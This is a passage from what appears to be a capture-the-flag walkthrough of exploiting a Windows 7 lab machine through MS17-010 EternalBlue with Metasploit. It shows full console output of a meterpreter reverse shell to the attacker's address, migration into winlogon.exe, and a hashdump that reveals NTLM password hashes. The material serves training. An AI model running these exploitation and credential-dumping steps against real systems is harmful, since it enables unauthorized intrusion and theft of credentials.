  What is this machine vulnerable to (answer in the form of: &lt;code&gt;ms??-???&lt;/code&gt;)?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to &lt;a href="https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010"&gt;Microsoft&lt;/a&gt;, the EternalBlue vulnerability has been given the codename &lt;code&gt;ms17-010&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;ms17-010&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Gain Access
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What is the full path of the exploitation code we will run against the machine?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;msf6 &amp;gt; search eternalblue

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   2  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   3  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   4  auxiliary/scanner/smb/smb_ms17_010                              normal   No     MS17-010 SMB RCE Detection
   5  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;exploit/windows/smb/ms17_010_eternalblue&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Show options and set the one required value. What is the name of this value?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;msf6 exploit(windows/smb/ms17_010_eternalblue) &amp;gt; show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&amp;lt;path&amp;gt;'
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows domain to use for authentication
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.14     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;RHOSTS&lt;/code&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Use the &lt;code&gt;exploit/windows/smb/ms17_010_eternalblue&lt;/code&gt; module.&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;LHOST&lt;/code&gt; to your OpenVPN IP.&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;RHOSTS&lt;/code&gt; to the server's IP.&lt;/li&gt;
&lt;li&gt;Start the exploit.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;msfconsole &lt;span class="nt"&gt;-q&lt;/span&gt;
msf6 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; use exploit/windows/smb/ms17_010_eternalblue
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit&lt;span class="o"&gt;(&lt;/span&gt;windows/smb/ms17_010_eternalblue&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;set &lt;/span&gt;LHOST tun0
LHOST &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &amp;lt;OPENVPN_IP&amp;gt;
msf6 exploit&lt;span class="o"&gt;(&lt;/span&gt;windows/smb/ms17_010_eternalblue&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;set &lt;/span&gt;RHOSTS &amp;lt;MACHINE_IP&amp;gt;
RHOSTS &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;
msf6 exploit&lt;span class="o"&gt;(&lt;/span&gt;windows/smb/ms17_010_eternalblue&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; run

&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Started reverse TCP handler on &amp;lt;OPENVPN_IP&amp;gt;:4444 
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445 - Executing automatic check &lt;span class="o"&gt;(&lt;/span&gt;disable AutoCheck to override&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
&lt;span class="o"&gt;[&lt;/span&gt;+] &amp;lt;MACHINE_IP&amp;gt;:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 &lt;span class="o"&gt;(&lt;/span&gt;64-bit&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445     - Scanned 1 of 1 hosts &lt;span class="o"&gt;(&lt;/span&gt;100% &lt;span class="nb"&gt;complete&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] &amp;lt;MACHINE_IP&amp;gt;:445 - The target is vulnerable.
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
&lt;span class="o"&gt;[&lt;/span&gt;+] &amp;lt;MACHINE_IP&amp;gt;:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 &lt;span class="o"&gt;(&lt;/span&gt;64-bit&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445     - Scanned 1 of 1 hosts &lt;span class="o"&gt;(&lt;/span&gt;100% &lt;span class="nb"&gt;complete&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445 - Connecting to target &lt;span class="k"&gt;for &lt;/span&gt;exploitation.
&lt;span class="o"&gt;[&lt;/span&gt;+] &amp;lt;MACHINE_IP&amp;gt;:445 - Connection established &lt;span class="k"&gt;for &lt;/span&gt;exploitation.
&lt;span class="o"&gt;[&lt;/span&gt;+] &amp;lt;MACHINE_IP&amp;gt;:445 - Target OS selected valid &lt;span class="k"&gt;for &lt;/span&gt;OS indicated by SMB reply
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445 - CORE raw buffer dump &lt;span class="o"&gt;(&lt;/span&gt;42 bytes&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
&lt;span class="o"&gt;[&lt;/span&gt;+] &amp;lt;MACHINE_IP&amp;gt;:445 - Target &lt;span class="nb"&gt;arch &lt;/span&gt;selected valid &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="nb"&gt;arch &lt;/span&gt;indicated by DCE/RPC reply
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445 - Trying exploit with 12 Groom Allocations.
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445 - Sending all but last fragment of exploit packet
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445 - Starting non-paged pool grooming
&lt;span class="o"&gt;[&lt;/span&gt;+] &amp;lt;MACHINE_IP&amp;gt;:445 - Sending SMBv2 buffers
&lt;span class="o"&gt;[&lt;/span&gt;+] &amp;lt;MACHINE_IP&amp;gt;:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445 - Sending final SMBv2 buffers.
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445 - Sending last fragment of exploit packet!
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445 - Receiving response from exploit packet
&lt;span class="o"&gt;[&lt;/span&gt;+] &amp;lt;MACHINE_IP&amp;gt;:445 - ETERNALBLUE overwrite completed successfully &lt;span class="o"&gt;(&lt;/span&gt;0xC000000D&lt;span class="o"&gt;)!&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445 - Sending egg to corrupted connection.
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt;:445 - Triggering free of corrupted buffer.
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Sending stage &lt;span class="o"&gt;(&lt;/span&gt;200262 bytes&lt;span class="o"&gt;)&lt;/span&gt; to &amp;lt;MACHINE_IP&amp;gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Meterpreter session 1 opened &lt;span class="o"&gt;(&lt;/span&gt;&amp;lt;OPENVPN_IP&amp;gt;:4444 -&amp;gt; &amp;lt;MACHINE_IP&amp;gt;:49173&lt;span class="o"&gt;)&lt;/span&gt; at 2021-05-11 16:16:09 +1000
&lt;span class="o"&gt;[&lt;/span&gt;+] &amp;lt;MACHINE_IP&amp;gt;:445 - &lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] &amp;lt;MACHINE_IP&amp;gt;:445 - &lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nt"&gt;-WIN-&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] &amp;lt;MACHINE_IP&amp;gt;:445 - &lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="o"&gt;=&lt;/span&gt;

meterpreter &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Escalate
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What is the name of the post module we will use?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;post/multi/manage/shell_to_meterpreter&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Show options, what option are we required to change?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;SESSION&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;meterpreter &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ps

Process List
&lt;span class="o"&gt;============&lt;/span&gt;

 PID   PPID  Name                  Arch  Session  User                          Path
 &lt;span class="nt"&gt;---&lt;/span&gt;   &lt;span class="nt"&gt;----&lt;/span&gt;  &lt;span class="nt"&gt;----&lt;/span&gt;                  &lt;span class="nt"&gt;----&lt;/span&gt;  &lt;span class="nt"&gt;-------&lt;/span&gt;  &lt;span class="nt"&gt;----&lt;/span&gt;                          &lt;span class="nt"&gt;----&lt;/span&gt;
 0     0     &lt;span class="o"&gt;[&lt;/span&gt;System Process]
 4     0     System                x64   0
 416   4     smss.exe              x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           &lt;span class="se"&gt;\S&lt;/span&gt;ystemRoot&lt;span class="se"&gt;\S&lt;/span&gt;ystem32&lt;span class="se"&gt;\s&lt;/span&gt;mss.exe
 544   536   csrss.exe             x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\s&lt;/span&gt;ystem32&lt;span class="se"&gt;\c&lt;/span&gt;srss.exe
 592   536   wininit.exe           x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\s&lt;/span&gt;ystem32&lt;span class="se"&gt;\w&lt;/span&gt;ininit.exe
 600   692   sppsvc.exe            x64   0        NT AUTHORITY&lt;span class="se"&gt;\N&lt;/span&gt;ETWORK SERVICE
 604   584   csrss.exe             x64   1        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\s&lt;/span&gt;ystem32&lt;span class="se"&gt;\c&lt;/span&gt;srss.exe
 644   584   winlogon.exe          x64   1        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\s&lt;/span&gt;ystem32&lt;span class="se"&gt;\w&lt;/span&gt;inlogon.exe
 688   692   svchost.exe           x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM
 692   592   services.exe          x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\s&lt;/span&gt;ystem32&lt;span class="se"&gt;\s&lt;/span&gt;ervices.exe
 700   592   lsass.exe             x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\s&lt;/span&gt;ystem32&lt;span class="se"&gt;\l&lt;/span&gt;sass.exe
 708   592   lsm.exe               x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\s&lt;/span&gt;ystem32&lt;span class="se"&gt;\l&lt;/span&gt;sm.exe
 724   692   svchost.exe           x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM
 816   692   svchost.exe           x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM
 884   692   svchost.exe           x64   0        NT AUTHORITY&lt;span class="se"&gt;\N&lt;/span&gt;ETWORK SERVICE
 932   692   svchost.exe           x64   0        NT AUTHORITY&lt;span class="se"&gt;\L&lt;/span&gt;OCAL SERVICE
 1000  644   LogonUI.exe           x64   1        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\s&lt;/span&gt;ystem32&lt;span class="se"&gt;\L&lt;/span&gt;ogonUI.exe
 1020  692   svchost.exe           x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM
 1064  692   svchost.exe           x64   0        NT AUTHORITY&lt;span class="se"&gt;\L&lt;/span&gt;OCAL SERVICE
 1164  692   svchost.exe           x64   0        NT AUTHORITY&lt;span class="se"&gt;\N&lt;/span&gt;ETWORK SERVICE
 1276  692   spoolsv.exe           x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\S&lt;/span&gt;ystem32&lt;span class="se"&gt;\s&lt;/span&gt;poolsv.exe
 1312  692   svchost.exe           x64   0        NT AUTHORITY&lt;span class="se"&gt;\L&lt;/span&gt;OCAL SERVICE
 1364  816   WmiPrvSE.exe          x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\s&lt;/span&gt;ystem32&lt;span class="se"&gt;\w&lt;/span&gt;bem&lt;span class="se"&gt;\w&lt;/span&gt;miprvse.exe
 1392  692   amazon-ssm-agent.exe  x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\P&lt;/span&gt;rogram Files&lt;span class="se"&gt;\A&lt;/span&gt;mazon&lt;span class="se"&gt;\S&lt;/span&gt;SM&lt;span class="se"&gt;\a&lt;/span&gt;mazon-ssm-agent.exe
 1468  692   LiteAgent.exe         x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\P&lt;/span&gt;rogram Files&lt;span class="se"&gt;\A&lt;/span&gt;mazon&lt;span class="se"&gt;\X&lt;/span&gt;enTools&lt;span class="se"&gt;\L&lt;/span&gt;iteAgent.exe
 1612  692   Ec2Config.exe         x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\P&lt;/span&gt;rogram Files&lt;span class="se"&gt;\A&lt;/span&gt;mazon&lt;span class="se"&gt;\E&lt;/span&gt;c2ConfigService&lt;span class="se"&gt;\E&lt;/span&gt;c2Config.exe
 1720  724   taskeng.exe           x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\s&lt;/span&gt;ystem32&lt;span class="se"&gt;\t&lt;/span&gt;askeng.exe
 1828  692   TrustedInstaller.exe  x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM
 1936  692   svchost.exe           x64   0        NT AUTHORITY&lt;span class="se"&gt;\N&lt;/span&gt;ETWORK SERVICE
 2008  692   taskhost.exe          x64   0        NT AUTHORITY&lt;span class="se"&gt;\L&lt;/span&gt;OCAL SERVICE    C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\s&lt;/span&gt;ystem32&lt;span class="se"&gt;\t&lt;/span&gt;askhost.exe
 2084  816   WmiPrvSE.exe
 2324  692   mscorsvw.exe          x86   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\M&lt;/span&gt;icrosoft.NET&lt;span class="se"&gt;\F&lt;/span&gt;ramework&lt;span class="se"&gt;\v&lt;/span&gt;4.0.30319&lt;span class="se"&gt;\m&lt;/span&gt;scorsvw.exe
 2384  692   mscorsvw.exe          x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\M&lt;/span&gt;icrosoft.NET&lt;span class="se"&gt;\F&lt;/span&gt;ramework64&lt;span class="se"&gt;\v&lt;/span&gt;4.0.30319&lt;span class="se"&gt;\m&lt;/span&gt;scorsvw.exe
 2420  692   svchost.exe           x64   0        NT AUTHORITY&lt;span class="se"&gt;\L&lt;/span&gt;OCAL SERVICE
 2648  692   vds.exe               x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM
 2768  692   SearchIndexer.exe     x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM
 2788  2324  mscorsvw.exe          x86   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\M&lt;/span&gt;icrosoft.NET&lt;span class="se"&gt;\F&lt;/span&gt;ramework&lt;span class="se"&gt;\v&lt;/span&gt;4.0.30319&lt;span class="se"&gt;\m&lt;/span&gt;scorsvw.exe
 2968  544   conhost.exe           x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\s&lt;/span&gt;ystem32&lt;span class="se"&gt;\c&lt;/span&gt;onhost.exe
 2984  1276  cmd.exe               x64   0        NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM           C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\S&lt;/span&gt;ystem32&lt;span class="se"&gt;\c&lt;/span&gt;md.exe

meterpreter &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; migrate &lt;span class="nt"&gt;-N&lt;/span&gt; winlogon.exe
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Migrating from 1276 to 644...
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Migration completed successfully.
meterpreter &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Cracking
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What is the name of the non-default user?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;In a &lt;code&gt;meterpreter&lt;/code&gt; shell, the &lt;code&gt;hashdump&lt;/code&gt; command can be used to get the users' password hashes.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



